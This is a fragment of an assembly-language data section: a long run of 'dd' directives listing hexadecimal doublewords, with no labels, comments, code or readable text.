		dd 0A59CC834h, 0B9010140h, 48301254h, 0DC3EC80Ah, 80F33B3Eh
		dd 4BEA5658h, 98A9B31Ah, 61C700C2h, 72F411F8h, 240F9917h
		dd 0F3EC12ABh, 5EE1C002h, 652C803Ah, 5287E3h, 56A4519Fh
		dd 3B2F21ADh, 691638h, 9E454A59h, 7B55B71h, 9BDE10FCh
		dd 0AD4B6398h, 284D26C8h, 0ED00F1FAh, 0A6A7FF56h, 0B907EAh
		dd 0C3C6BE9Bh, 2268C2FDh, 0BAB81239h, 0CDB58032h, 84797393h
		dd 23EA005Eh, 0A2F7AB4Ah, 0FEA0E68Ch, 94005467h, 667F6589h
		dd 0F5D55Ah, 0A9F7140Eh, 0D2C9ACBBh, 56E2E3Dh, 87B69C4Ah
		dd 0E3B3C803h, 5314C060h, 3A5D0067h, 0D9E5A62h,	81E24370h
		dd 7387E50Ah, 0C005A4B5h, 9C286563h, 0B0031DB4h, 12BD80E0h
		dd 408CD13Dh, 3FED0218h, 452E320h, 56B9D24h, 305400F8h
		dd 57B93198h, 5B12D856h, 85040480h, 64AC68BAh, 0C0306929h
		dd 0D31E34ACh, 62476D00h, 0E0CFC037h, 0C2E0FBAh, 4B80CCB9h
		dd 2098F573h, 1AEDF607h, 6F60D919h, 0AEF877h, 0F7AD5311h
		dd 0D564B66h, 0F124B21Dh, 6800936Ch, 0C043F49Ah, 41CB000Fh
		dd 0D03B7F16h, 0E300D918h, 0F176EF2Dh, 90810619h, 0CD4A3B83h
		dd 0B66F1E80h, 0ADE3D3A4h, 0F87215E0h, 0E495F1Ch, 4E17007Eh
		dd 0B432CCF9h, 192B0007h, 4D5F8F3Ah, 0A41E296Eh, 0BCAC74h
		dd 0FCCFF3DDh, 9DD8C2h,	98F90D30h, 83BD1D7Bh, 0A0B8E524h
		dd 0D43F261h, 1871B600h, 0F97A5B02h, 60D390D6h,	5C1637E9h
		dd 0A5005F5Ch, 4312DAF0h, 3903AEB6h, 53EF5785h,	1480BCF1h
		dd 3F1316B3h, 0C600653Fh, 0E7D13CA1h, 0B4A6A461h, 0A7B12F04h
		dd 0C916CF9h, 0BEDCBC67h, 0CC14500Dh, 0C2060080h, 185B89CFh
		dd 2D03C419h, 84AD34C8h, 2FC1B0E5h, 1FB010h, 4517A7EDh
		dd 2BAB7DEh, 7A51560Bh,	0D0B40016h, 24DADF85h, 0C0ECD9AAh
		dd 919BC99Dh, 28035DE6h, 0C427A0E0h, 322E9895h,	88771D0h
		dd 961BDB1Fh, 76C0EB00h, 56638Fh, 157E2A6Ah, 690F9F7h
		dd 11072607h, 65378AC6h, 5ED3990h, 0C852003Ah, 20031282h
		dd 0EE0031BFh, 1DAFA0E4h, 0F6C557h, 8423FF83h, 0DBD07D44h
		dd 9B00717Fh, 9897FB5Bh, 38ADD24Dh, 0F3B312h, 5229EE9h
		dd 2ABA9FE5h, 0FE139600h, 0FF66B78h, 2BE4394Bh,	0DCA51800h
		dd 0FF605509h, 0C324F900h, 0CB43565Ah, 74D614D4h, 7607EC1Ch
		dd 670ADEBEh, 25BDE026h, 7900EF6Eh, 57B29755h, 0EC90EBh
		dd 6C67709Eh, 0DA0C2192h, 1F00187Dh, 0E42E0234h, 1D10C439h
		dd 5F4CF0B7h, 1E786633h, 7848C977h, 0A1A0980Fh,	13D9D85Fh
		dd 0FE1BBE0Eh, 1F0D6064h, 1EE2FAA3h, 0C03DDDBFh, 72965CEAh
		dd 0D807084Fh, 2AE9B8A9h, 0E553C050h, 1F1CB8C7h, 0CFC86A42h
		dd 5FC02983h, 0B67CC14Bh, 0FEEB73Eh, 0C052EB65h, 4F367B7Fh
		dd 71F0613Dh, 0D1FF697Ch, 434BD8EBh, 532FD81Dh,	0A79B6C06h
		dd 23520E18h, 70A011FAh, 29F6FCCEh, 9685D202h, 60895708h
		dd 70DCFh, 0E79FDA2Ch, 956F8B1Ch, 819BB200h, 0DBC71518h
		dd 0ACE10080h, 5F529262h, 7900CB9Ah, 0A546381Ch, 3A4DD8h
		dd 923C5804h, 416D5087h, 9D7C1CE8h, 8042683Eh, 64D52369h
		dd 38790F93h, 5B83B2A9h, 0A85061D8h, 2EC63104h,	0E80D05Ah
		dd 3FBB72h, 0DC896CA6h,	4C30FAE6h, 0A123C103h, 80794524h
		dd 0F6700Ch, 502D6E8Fh,	69113959h, 0E3C32700h, 4671C792h
		dd 6AF0005Fh, 3FE41615h, 0DF898E5h, 0D2FF3600h,	5B2477C9h
		dd 6C3A00CAh, 0EA7380F7h, 0AF00BCB5h, 76F6D3EBh, 8EF92Bh
		dd 0B69656BBh, 3458CA2Eh, 7EA81548h, 176E231Ch,	988BAFC0h
		dd 14EA76h, 59E13686h, 794F675h, 0EF9EF800h, 48314734h
		dd 0FC050720h, 109BEC26h, 2C940ECBh, 0EDE2E300h, 112E4021h
		dd 0B2BD1FACh, 18CE0095h, 6EE42D82h, 8E252007h,	4E85873Fh
		dd 0C78C8B00h, 3D47AFD5h, 3074186Ch, 65203CDDh,	0D4F64196h
		dd 8B9BC800h, 52BEF224h, 2E760FA4h, 0A7E26E2Ch,	0BC80757Eh
		dd 0A2ABF32Dh, 1053BE01h, 0DE45765h, 1870B6F4h,	302D83A9h
		dd 13D9CA6h, 3C379BEAh,	821FE139h, 0C013A3C0h, 0FCC32111h
		dd 7007DD3h, 8F93296Bh,	0C0863BC0h, 61FEE49h, 95009EE1h
		dd 73E5BCBDh, 3FB0420Eh, 24B8E203h, 0E3000948h,	2E31CC79h
		dd 886FFB99h, 0A96E62C1h, 0D884982Bh, 764973DBh, 9320860Dh
		dd 0B88003Eh, 66CCA343h, 2800C2AEh, 0EA694277h,	0EC5B992Ah
		dd 86C0A008h, 0A93605DAh, 404A4615h, 0FC396B90h, 0DF00C379h
		dd 9B86A456h, 1F7CCD1h,	0F3B969BAh, 60F8EF29h, 88A16FF4h
		dd 7900E77Ch, 24C35619h, 72E8B48h, 84C278D4h, 4E27B06Ah
		dd 43F23C2Ah, 16DEE000h, 0B3E1B45h, 547711h, 8632C6B7h
		dd 4EE16A09h, 637C5Ch, 63A6A068h, 65585Ah, 0E60D0494h
		dd 17913D4Ch, 0C4295400h, 68E89B3Bh, 0B083006Eh, 57BDA208h
		dd 0E50E8CDBh, 816B851Dh, 3CD7D4DCh, 0CF401CE3h, 0B3444096h
		dd 2920ED4Ah, 91BA8700h, 688DC6C3h, 85940323h, 75E2C00Ch
		dd 63AB480Eh, 2F538EAAh, 0D6476052h, 2D496Fh, 4A66B07Eh
		dd 0B5E76E58h, 0AF38CE00h, 0A2BB93B1h, 86600BF9h, 0E100C66Fh
		dd 0A62F0A94h, 890248C0h, 0F75AE3h, 0DDD42486h,	0A3845480h
		dd 327030E1h, 0AC690B0Ch, 1F7D20A0h, 3E415CCh, 0DEDBDF3Ah
		dd 95E9FDE0h, 0B9054800h, 8F8C6E61h, 1E1200FEh,	0D4499C93h
		dd 0C200DA6Ah, 7B5C067h, 3ADC68Dh, 0DDD088BDh, 0C7F37B06h
		dd 9B2F72C0h, 9EC38901h, 0C017921Fh, 1B3A1880h,	69D0AC35h
		dd 0AE778F07h, 0BF20F92Eh, 0CCF1E6h, 743EBE83h,	45FCA51Bh
		dd 0D296FA00h, 595FD5ABh, 657E00EDh, 34F4E5C5h,	0FB720FD9h
		dd 9C07FEAh, 0F09504E2h, 0F43B1357h, 0E78809CCh, 2C877A00h
		dd 8800B0C0h, 60738E35h, 0FD8260Eh, 25324869h, 2A0A9638h
		dd 0DB901800h, 0E5108440h, 7B0D75CAh, 0D461C382h, 88B09976h
		dd 6131B460h, 7C97097Fh, 4343C30h, 0D94C9949h, 0E66A801Bh
		dd 0C900723Bh, 0C30E6C80h, 39DBB54Eh, 0D53A3A5Bh, 0FD59F4B0h
		dd 0C300FEBEh, 0DD2F3571h, 0F9F74464h, 0F120A0h, 16DA85D6h
		dd 1096E172h, 848108CAh, 0B1800F1Ch, 73A73FC0h,	0C47902F6h
		dd 0AE076231h, 308F9090h, 3DB49F0Eh, 7F9320E7h,	0F8C1B8E1h
		dd 6C0700B9h, 0F819DBC4h, 81C26EE8h, 10F615B1h,	0CA02D671h
		dd 5D3B9B1Dh, 21EA2645h, 0C175B770h, 65593Bh, 171EC742h
		dd 58BC1085h, 0BA0F8005h, 99E0D016h, 8AEB2523h,	0A8863824h
		dd 0EC365800h, 792A41h,	0A75F445Bh, 3D1DD21Ah, 0EF911800h
		dd 0A4A9C4FDh, 743C00B5h, 0E144665Ch, 0B10020D9h, 65E7623Bh
		dd 0BE8DE5Bh, 9EF49580h, 75EF6180h, 4100087Fh, 0BCE43D42h
		dd 0CF48B0h, 1501B8D1h,	6458EC8Bh, 723F24Ch, 6B9BAAD2h
		dd 0CB2DDEF0h, 0FB98EFh, 591C2A91h, 0C1E71A56h,	42BDEB18h
		dd 33B256h, 0F41F5CD4h,	0D12B32DFh, 7A99648h, 9863C799h
		dd 0D419E310h, 41790164h, 2CB60DF4h, 0B1EEF485h, 0CCBB340Ah
		dd 750ECBF9h, 734A2009h, 0C44403h, 0C8894F0Eh, 8452024Bh
		dd 0FBA8EE00h, 0E6ECAA95h, 18AD0392h, 5FE1DA75h, 0B48D4898h
		dd 3BDC6D00h, 42BA2EAh,	0ACB2019Ch, 0A1A4B3D2h,	965BC0CCh
		dd 9AC9651Fh, 0DE00B517h, 0F60FCF24h, 21D9004Dh, 0A3ABEB7Ah
		dd 0A0C9ED39h, 230B80EFh, 13B5A34h, 1FB05402h, 0D8FA106Eh
		dd 55000126h, 80F2958Fh, 413FEBh, 0C08B2816h, 0C9740F77h
		dd 0FE4F7A00h, 0AC3826B8h, 50AF003Ah, 15F35C48h, 0D900A4E5h
		dd 44B1129Bh, 0ABC60Eh,	0F61F275Dh, 0E466FFB8h,	0B3C14312h
		dd 0BB120D1Dh, 0F2272E00h, 1E10A57Eh, 0D829DF89h, 25480499h
		dd 0FBE15303h, 0F039149Eh, 1CED24Dh, 0EB175486h, 4A4E593Dh
		dd 0C0708834h, 5CFDEAE8h, 17970A00h, 44FEF768h,	1C520045h
		dd 32E88199h, 9C3086C8h, 0C17F59B3h, 237E007Ah,	4BB959F6h
		dd 0D00F353h, 86C59AE0h, 56FFDDh, 848365D5h, 0C9DF7B6Fh
		dd 268441F9h, 1F00C09h,	14CBCDB8h, 17A4DA3Fh, 20A0A6h
		dd 32A1DB6Ch, 6F924E5Ah, 0D1909700h, 0E10EA986h, 0E4C00042h
		dd 0B511F8C3h, 1839243Ah, 0D5AC00FDh, 5537DC9Fh, 9D900B2h
		dd 9CB8711Ah, 7C7424ABh, 0D3049700h, 0AF797D8Dh, 9ABA008Fh
		dd 0E8F25A3Fh, 4D0051D7h, 0FFD45B7Fh, 38701FBh,	0B46B32C3h
		dd 83D07781h, 731358C1h, 0C203902Dh, 8707B27Bh,	87898069h
		dd 0FD68D4h, 0DFEE4878h, 0B094ECD9h, 240092ECh,	0EB59C9C4h
		dd 7B562611h, 20C600FBh, 0CFBD3673h, 1DB0175Eh,	3400D9EAh
		dd 58BA61ADh, 8F411Ch, 0C30CB46h, 3E7DC532h, 80F3EA07h
		dd 8D601188h, 0B60BEDh,	0ECD5D4D1h, 0E7453A8Ah,	0CF0081F2h
		dd 55AC09B1h, 7BDE5FEFh, 0C11B3A44h, 51212A32h,	8C203440h
		dd 5C24DB00h, 0D222C8Fh
		dd 0A1E300D1h, 0B287F9C0h, 5E00966Bh, 6EFDD54Dh, 0B811CD3Fh
		dd 0A6C3008Eh, 7DE3AF2Ah, 20D86FADh, 6921159h, 1ABF470Ah
		dd 381E10B0h, 9AC213D4h, 41F335BEh, 0DDD0B16Ch,	11CE0067h
		dd 66174FD9h, 0C2189F0Fh, 97D068C9h, 37E8006Fh,	55791A06h
		dd 18C0F550h, 2DEA4EE9h, 0C6CDF9E1h, 8048BCE9h,	0ADE08C55h
		dd 402F7008h, 35A458D8h, 3C98DC00h, 4274FB33h, 18DE3B90h
		dd 7E837A6h, 0F3F5EC82h, 3000B7A8h, 0C301B35Bh,	1876C4E3h
		dd 78D0A1A5h, 7100E477h, 1CCE62ACh, 0CF0AB3h, 6B6D8A76h
		dd 8EFB74F2h, 0F3C1E501h, 17DA6435h, 0C055CA30h, 84BA970h
		dd 0CA1F7689h, 3F9216FEh, 545BB900h, 12518009h,	0C7031Ah
		dd 0CD3BD8DCh, 9D00C410h, 8F799822h, 2AB974h, 0D8EE83C1h
		dd 86697A1Bh, 0E02E6E00h, 98067F4Fh, 0D4CC001Ch, 8873D289h
		dd 21C08D65h, 0D62F3B55h, 22700076h, 4A16E80Ah,	0E700D3D9h
		dd 1FB42C90h, 1BA7DDEh,	2B66A1F2h, 8303B25Eh, 0DA6E9A10h
		dd 24838B5h, 0A4B63E7Eh, 3328B307h, 5D60C086h, 0FE48774Fh
		dd 6B1A0C00h, 75E3322Fh, 16FF0051h, 0D39F245Dh,	0EB0E5C12h
		dd 0A02ACA70h, 0B718BA38h, 5E7E00DBh, 0DCFB8A6Eh, 0D2783113h
		dd 0E9C04E00h, 3289965Fh, 73100047h, 386AB54Ah,	40A8193h
		dd 0F3717FD5h, 1A463C00h, 186003D9h, 0B8A59453h, 7240C1B9h
		dd 6C880098h, 649B778h,	8E03CB2Fh, 74D99692h, 0B86B93EBh
		dd 7F1AAC8h, 414AD3A3h,	0F564C062h, 0A067A0Fh, 0B1AC768h
		dd 21D66008h, 0DDF5798Bh, 90B3100Ch, 3DCCA1h, 0CFC5ED4Eh
		dd 0EEBF9BD5h, 3C0CAB00h, 579CC771h, 934F0044h,	7A7F21D3h
		dd 37E09B1Bh, 0A66F1C00h, 0C736C2D0h, 601F62F1h, 4895AB19h
		dd 614B1808h, 4043CEA7h, 0DEE0BCFDh, 0B884EB00h, 0D6DC6663h
		dd 75C0B22h, 6B01373Eh,	0AC8EC6ECh, 63002D88h, 4F651884h
		dd 0E6210E31h, 5863013h, 53002096h, 47838B2Eh, 7402D695h
		dd 73760270h, 0C7F69724h, 8A3524A3h, 0A4DF65A8h, 97992086h
		dd 61182502h, 0DC6EB7A7h, 464E031Ah, 21180228h,	6208929Ah
		dd 91C30012h, 6194800Fh, 1E003808h, 5CC6C14Dh, 553085h
		dd 2A1076DEh, 983507C7h, 6894BF07h, 20101A59h, 5C1321C1h
		dd 641E21ACh, 0E30D40F0h, 48EEC8FCh, 7D4C500h, 0AA7B3B74h
		dd 4B1F0118h, 1402EA4Dh, 0E784E0E0h, 0B24E277h,	560F4A6Fh
		dd 44EE6077h, 4AA819h, 723F6BBBh, 0BF2C5EA7h, 87FE1301h
		dd 0C893229Bh, 34C03821h, 0C76900D6h, 0FBF6EDD2h, 81006E18h
		dd 5D3133FAh, 0C15E3Eh,	0CCE613E3h, 6B8A8C19h, 902E3Ah
		dd 56FBA083h, 0C8C37Fh,	13FCA9E5h, 0BFAF1A76h, 5EB03Bh
		dd 0F355191Dh, 3156802Fh, 0A73893DCh, 5D4441FFh, 2EB4D40Ch
		dd 7D2AA500h, 9FF177D6h, 0E990033Ah, 0F0A22B75h, 2DBB3900h
		dd 2A65E317h, 0BEED1D25h, 8FDB41B3h, 0E4AF35CBh, 0CF709D2Fh
		dd 343EBB7Ch, 5B384B6h,	0C803175h, 499685h, 3699BF7Ah
		dd 3F2143F5h, 0DA9089C0h, 3F302751h, 173F7B7Fh,	84801F3Bh
		dd 7DC6EF3h, 0E50E2B38h, 0AC985344h, 2785026h, 0B606B7CFh
		dd 0BDC01888h, 172DE96h, 7F87B100h, 0F5FC3716h,	74C50357h
		dd 6889C2CCh, 6E7ECAB8h, 2D9DB800h, 12959986h, 54E50062h
		dd 0FEB19AE7h, 77004D45h, 0C63FE893h, 51477Eh, 0DCDD5453h
		dd 4042D28Ch, 0B284A500h, 7DEB2F8Eh, 319737Eh, 90B787B8h
		dd 95D82C2Eh, 3BEC048Fh, 0A4C6100h, 88E1FF06h, 863600A3h
		dd 1C031DB5h, 9D007268h, 486143F9h, 141C1B2h, 117B75B6h
		dd 0F03D2CE9h, 0CA7BDC62h, 0AD0EAEE0h, 41EB9EFFh, 7E08C5DEh
		dd 676BF0h, 1A1DC31Bh, 847A12A4h, 0BB0E2078h, 0C03239C7h
		dd 2E5E55ECh, 5B7800FFh, 0C328542Ah, 34005876h,	0F34CF8D7h
		dd 575DCEh, 590DEB64h, 0E324E88h, 7800F0E4h, 0FF4C921Ah
		dd 0C6AEACh, 4161B1DBh,	422857FBh, 0C79A6400h, 2B0F2CE0h
		dd 76B8B3h, 56DBC404h, 917A3943h, 0C500297Ch, 26F6D74Dh
		dd 58237Fh, 76326EEEh, 0B07DD48Ch, 0C8646936h, 0F080038h
		dd 0CEAAB5C2h, 0EC178A60h, 19AE5FEDh, 804E2025h, 7FF51062h
		dd 0BFA886h, 2C14FF4Dh,	53A3936Bh, 0E7CED300h, 4F623726h
		dd 0D1240032h, 0A50FFC6Ah, 0DA0092CFh, 0A92A937Ah, 8B6FB4h
		dd 99D9C9FAh, 2DAAE626h, 9711BD00h, 0BAEBCBF1h,	62B90022h
		dd 0C647DBDFh, 343AE987h, 886E83A1h, 0E0593876h, 0AD81A6h
		dd 0C2F185B1h, 1762DAC4h, 0F98CA204h, 74C04009h, 590F6ECh
		dd 0E9E67196h, 0A66B8020h, 3B00DEEAh, 28B817F4h, 4355D1h
		dd 0CBC59EADh, 5ADF9C62h, 2DB36A00h, 0BB76F00Fh, 441E008Fh
		dd 0D1F5498Ch, 0EB7B6B3Dh, 14001CEEh, 4A7B64Dh,	399051h
		dd 3D17A4C1h, 7DEE5455h, 0DBB9B400h, 6C0D773Fh,	6ECF00D5h
		dd 0AC7FA586h, 0E70018F4h, 90F52A6h, 0B9DE60h, 0FD812D28h
		dd 7C5BD10Bh, 0C8EDC00h, 6E70FB06h, 276A39DEh, 833D5C1Ch
		dd 6C2D4216h, 39D0D83Bh, 2543824Eh, 8049C603h, 7B476980h
		dd 7A0C65Bh, 1CF8407Eh,	1FA4E400h, 4476832Bh, 595A6037h
		dd 17F6DD34h, 56014208h, 802284AEh, 0DF020738h,	97012064h
		dd 0C5070806h, 4C10EEAAh, 0A803E7F9h, 586D9830h, 58BBEF04h
		dd 3A2886DEh, 0CEC2302Ch, 48B27EB1h, 62084F88h,	2CB65809h
		dd 401D3810h, 5222AC2Ah, 57442A6Dh, 0D2393684h,	12005818h
		dd 2918B9Dh, 8830403Ah,	8841A26Fh, 1BB818D2h, 0C0465088h
		dd 0F5BFB3B0h, 21782E28h, 0D5B12F01h, 0AE410FB5h, 8AF4E7C1h
		dd 0A2E5003Ch, 0E29F6989h, 0F601E9D3h, 3DDD1455h, 0B840B325h
		dd 805A53E5h, 0D033521h, 23024140h, 0EC700F4Bh,	0DDE05BBBh
		dd 0A18E3D1Fh, 0F41E2402h, 80B06011h, 0FCF0E0A9h, 0B2C2009Bh
		dd 219CFA7Dh, 261E66D5h, 0B3875EA3h, 8883489Ah,	7870006Fh
		dd 6A8D696Bh, 47300779h, 703B1987h, 96C60FA0h, 4D40A416h
		dd 0BBA35F25h, 0D3AED00h, 0FCE44B8Bh, 0A098D04Ah, 121B610h
		dd 3DC11E44h, 1184F1FEh, 81CE74E3h, 4059654Ch, 82406DE4h
		dd 8AB70400h, 0E01E1ADDh, 0FB4400E2h, 4C0BDFCEh, 637AB46h
		dd 0E6700834h, 3F226CE5h, 1B80DD33h, 45E0E489h,	0CF0E8885h
		dd 0B3AA5719h, 3F2ADF00h, 64F875h, 4A2ED05Bh, 12EA2CECh
		dd 2F1B4Ch, 0A1C01436h,	2670F3C2h, 0EA5D58Ch, 0AC94F65Fh
		dd 12B85502h, 0AC40E25Eh, 0F402D061h, 7226E1CBh, 0DAF041DBh
		dd 586C9F0h, 89C1E8D9h,	83D820CEh, 3A0E82C3h, 0E3067E6Ch
		dd 0D284D1D5h, 6F28484Fh, 6ACB1D59h, 0B28A407Fh, 18EB4BBFh
		dd 856B5100h, 738B3E4Fh, 138D0099h, 0B44619B5h,	0F8005B4Dh
		dd 2A7A03C3h, 0C1927Ch,	409F1624h, 7581C0E3h, 0BAB63E00h
		dd 0CD22056Fh, 746401C9h, 552F210Ah, 3AA8207Dh,	6D039579h
		dd 438B9E1Dh, 0CB80ACF2h, 0EE5201h, 45AE7369h, 8B46494Ah
		dd 0B02E9379h, 961DE1A1h, 1B0268D6h, 68268FF8h,	173761Ch
		dd 0F96AEB4Ah, 401C825Bh, 0E969E24h, 0AD1F5100h, 3EDEFA9Bh
		dd 0AEE00190h, 27830412h, 0E9E2E494h, 0A761F883h, 0E57200F3h
		dd 0B3786058h, 640143FEh, 0C592093h, 688AE036h,	80B4C6B9h
		dd 226F9BD9h, 2A1E84A8h, 7C404FFBh, 6ADA63F6h, 0ED790A6h
		dd 24536FDDh, 2F28BC74h, 57840038h, 0B089E70Ch,	0DD4C92BFh
		dd 3E3C004Ch, 0D04276AFh, 2EB30088h, 93E64504h,	6E39B052h
		dd 0DC829864h, 0D7A81h,	9FC34637h, 49545B60h, 0C1FF700h
		dd 4724A42Bh, 29BA00A9h
		dd 5FA2EDDBh, 0F939C082h, 3841E7Ah, 2850F200h, 0D8589Bh
		dd 0C9266E45h, 0AD44DFDAh, 0A0322401h, 0FD945016h, 2F0028BBh
		dd 0C345CDC6h, 310053F8h, 5981E6A6h, 0A4F53Eh, 6CA378D4h
		dd 0D6B11F07h, 3FFCB539h, 3870393Dh, 0AD6F005Ah, 0EFE1A74Ah
		dd 0A3715Ch, 0E9FFF013h, 0DE30EA18h, 85225812h,	0F22ABA00h
		dd 0FE2681h, 50DDD45Bh,	0ED757F51h, 3B4E2902h, 0C1E4959Ch
		dd 0C88005C7h, 0B7FDADD2h, 997FBCC9h, 0DE66600Fh, 74AE2386h
		dd 0A28EC06Fh, 32E60076h, 0BDA517D3h, 55008754h, 95EED5Ch
		dd 0D0C5E9h, 772FB745h,	0F769C7EBh, 0DB438C00h,	2461F45Fh
		dd 5C5D0044h, 0E1592268h, 0C0708E53h, 2FCCF300h, 0A52DC84Ch
		dd 22A40025h, 6CE43098h, 0C00775A9h, 42C177EBh,	3C60D116h
		dd 0AC00E017h, 0B90C9092h, 8C09552h, 2F19D638h,	14090937h
		dd 6700C5A8h, 331E61B0h, 272288C0h, 9B5602h, 7630F9A6h
		dd 0D9511DB1h, 7F0F6F7Fh, 0E08F0999h, 179ABD8h,	0B08160EDh
		dd 2BA1DACBh, 6C39EB1Dh, 46CFD300h, 24A6D7BBh, 9A4CDEh
		dd 21E8D02Ch, 0A70139AEh, 0D33BA918h, 52C42A97h, 0CE28C0A5h
		dd 0ECFCEFD9h, 21183207h, 0C00E3ACBh, 9DA3DFCCh, 3B200070h
		dd 0CADC43C1h, 972892E2h, 0C40780EBh, 0F56534C5h, 603194F2h
		dd 30E70E4h, 0B5EF844Bh, 43A8D85Ch, 9472C56Dh, 0A7157E00h
		dd 0A0640F8h, 9C28006Ah, 2D97FB8Fh, 0C400FDA4h,	0B58316C2h
		dd 90A08Dh, 3F40CF9Fh, 98698236h, 8F2DC90Fh, 272878CAh
		dd 6C2580C1h, 0FF734D00h, 0BF61FAADh, 77F50F75h, 0FEA0E7A4h
		dd 0B1D7C8AFh, 5C782E30h, 8B5AC5h, 0B8A585D8h, 0A91BB326h
		dd 491A9F00h, 0B7714D3Dh, 63E800ECh, 0D6029EFDh, 0EA03C740h
		dd 3D8EB53Fh, 0EF7D8071h, 0C3110049h, 73B3A026h, 0C6004F65h
		dd 6054133Bh, 597F1Fh, 8226EBD1h, 0DDDF97C1h, 6642BF00h
		dd 905E0B0Ch, 5C99011Ch, 0E1AA94C4h, 0C3FFE0D5h, 80E05339h
		dd 3192B9BFh, 7493E7h, 0DF644111h, 0FD4765CFh, 19E31A00h
		dd 3EA4B05Ah, 45F30083h, 2ADFA2E9h, 0A50E800Ah,	20178DD0h
		dd 0DA0837FDh, 0F1100D5h, 0DDDE55C8h, 0EA07192Ah, 49A2DD3h
		dd 18164F80h, 0C10C0010h, 0CBFCE9E1h, 373EBCABh, 33AA00F1h
		dd 0D53287A2h, 86A00453h, 0C208175Dh, 0C05DE5F7h, 11F19Eh
		dd 6C183BE9h, 16C6BCADh, 8394CF00h, 0CC53A49Ah,	4E0E0ED8h
		dd 7F60F10Ch, 5B62EBA7h, 9C15FF01h, 37D7532Ah, 7E2794E4h
		dd 0DFD00199h, 9BAA6585h, 1B1EE8B5h, 0C6C07700h, 2E8B9FD9h
		dd 0FEA20096h, 7B8C04E1h, 0B500D8E7h, 7A9420A3h, 0E8CAB7h
		dd 0D7144207h, 0BEC97DD4h, 0BD0124E8h, 7C3AEFE2h, 0A5203133h
		dd 59F0052h, 433DA5C1h,	0DC00F4A4h, 4CF1499Dh, 0EB39718h
		dd 0EEB17CC4h, 3FE965A0h, 63078451h, 920A2988h,	5796D2B0h
		dd 0B525009Dh, 7DBF3C53h, 3E005C69h, 87E5F85Eh,	0C8F61h
		dd 6A1452E8h, 0FFA937C2h, 94927000h, 34C81559h,	0DB25133Bh
		dd 1700FB9Dh, 0F0CE76F8h, 0F5A71F0Fh, 2F9F0065h, 48193475h
		dd 0C8D52207h, 4C936E7Fh, 621FF86Ch, 0F1990014h, 8C5C944Fh
		dd 0E200AA15h, 0D27B8AFEh, 0A775A8h, 3913AE0h, 63E65F4Bh
		dd 767EAD12h, 4FDFD00h,	0E5DBAF86h, 0EE3DAE4h, 0DD2EF9B0h
		dd 0BC976EA0h, 55036235h, 0CE1081BBh, 0BE5C809Eh, 14AB1DA8h
		dd 0CDE241D1h, 0D44AE6AEh, 69093C2Ch, 662437h, 5C6B2558h
		dd 85200DDh, 466F59E0h,	6A001B09h, 6D9B3980h, 2CCA40CDh
		dd 0F0D9FDh, 3436EB96h,	813E9725h, 7A63582Dh, 386C48h
		dd 0DC3E3B98h, 74FBB04h, 0A936E16Dh, 4E6F40F6h,	78481CD4h
		dd 7BFC009Dh, 0A722CC1Ah, 34104C70h, 20853412h,	51217808h
		dd 0F054E301h, 67DA4682h, 850058BBh, 0A43607B1h, 2E010648h
		dd 0EC66F665h, 0F147B629h, 10106B37h, 1F8B0E32h, 6E0695E9h
		dd 702497h, 0FBC62019h,	2F00656Ch, 268AE0D6h, 0E6E4A951h
		dd 0E6290766h, 23013296h, 9AC85C21h, 5700E5A1h,	0A016CD62h
		dd 0FE6A5824h, 0FA9200C3h, 0C66430B1h, 0D1D7120h, 0CC87162Ah
		dd 800F7A3Eh, 22F78AAEh, 0AD79A6h, 0BFA068C5h, 55E3CE87h
		dd 34799E00h, 66B885F8h, 10FF0074h, 3A149818h, 0D9007FD8h
		dd 0D3016F28h, 0C503B5h, 0CF1B517Ch, 8610E0C6h,	5E30097Bh
		dd 33B46EC2h, 176E018Ah, 42FD8D35h, 0F6B76098h,	21062300h
		dd 62533908h, 0D77D00FEh, 8296FDC3h, 0EF001AEAh, 0CF0C04E7h
		dd 0F8D193F0h, 0B7F70068h, 4732E42Dh, 94006F9Ch, 0A3109FA2h
		dd 7B058FCh, 35C91FD1h,	0BD682025h, 1200CC2Fh, 0F823C04Eh
		dd 0AF07DCh, 706BCA65h,	0B0CDEA85h, 9FB7C40Fh, 74D780ACh
		dd 3CAD4148h, 4C007D7Bh, 0FB4D69A5h, 100204Bh, 0A4C256B7h
		dd 482C13BBh, 4600E573h, 93CC69ACh, 553D7BE0h, 0FF8800F8h
		dd 66B36A1Ah, 0F5A4004Fh, 0F70AB8AAh, 1238E224h, 31C4CC2h
		dd 0B07441EDh, 1E02D8BCh, 94EA31h, 6ED859D2h, 17E11FECh
		dd 3D2B4E00h, 0C53C892Dh, 5D9C011Dh, 0D3BB700Ch, 0C0CE60D0h
		dd 579FF300h, 4E1A3E99h, 7C5100BFh, 7917BAA5h, 58172D95h
		dd 91005FFAh, 0CE84B6D3h, 0E78501FFh, 63687F1h,	0AFE12E7Ah
		dd 13AF95ECh, 1DF9448Bh, 44A404h, 97F8039Ah, 31029815h
		dd 0CB790DD1h, 3D746044h, 2F7D002Ah, 0CD5E2567h, 6401F882h
		dd 0C4DB50F0h, 57ED6D26h, 44CCDA21h, 0FA1C0005h, 0C6FF96B4h
		dd 3F00C04Ah, 5D52D619h, 0AE94609h, 338F620h, 85490808h
		dd 361BE180h, 0DF3D55h,	0D2FCB732h, 6E6C1410h, 2C2058B5h
		dd 49244Eh, 9AF652C9h, 11007290h, 0BAB627E6h, 24C506Eh
		dd 0FE743B59h, 3CA324F2h, 0EDC8A5B8h, 88003613h, 496B5571h
		dd 1DF1B972h, 3E0FCEh, 76131A98h, 384820F2h, 408F009Fh
		dd 0F4C9B894h, 0C83130B3h, 2A76578h, 430322E8h,	3F397B95h
		dd 0C73C90C5h, 156100C4h, 2644B17Ah, 94007F0Fh,	7091C225h
		dd 0E3C8A6h, 72B91D75h,	23B75B09h, 0F21B500h, 0D2E9AA2Ch
		dd 45EC3B8Bh, 44FA1Dh, 67F223C9h, 5A7632EFh, 0F6E83E00h
		dd 4BB3B533h, 0CBA10059h, 20EFA701h, 52F0FD11h,	0F47A4100h
		dd 0EB94E4BDh, 1E700430h, 0C0C30827h, 4432130Fh, 0EEE0FC0Eh
		dd 0C207075Ch, 7210E4A0h, 6D1F0738h, 908EC5F6h,	5937FF34h
		dd 0C1B8BB00h, 30540188h, 0FA151DF4h, 0C8EE4021h, 57E4FD31h
		dd 88CFC70Ah, 2780902Dh, 8A3A55B2h, 173E013Ch, 0A3150C26h
		dd 28C84016h, 0C02C965Bh, 5E00C457h, 0FCD12661h, 3D25008Eh
		dd 46317CC2h, 1A2AF5F2h, 0B101B4BAh, 8349795Fh,	22609E4Dh
		dd 48EF0334h, 4324CB81h, 17DDE0E8h, 972B60C0h, 1D504AE7h
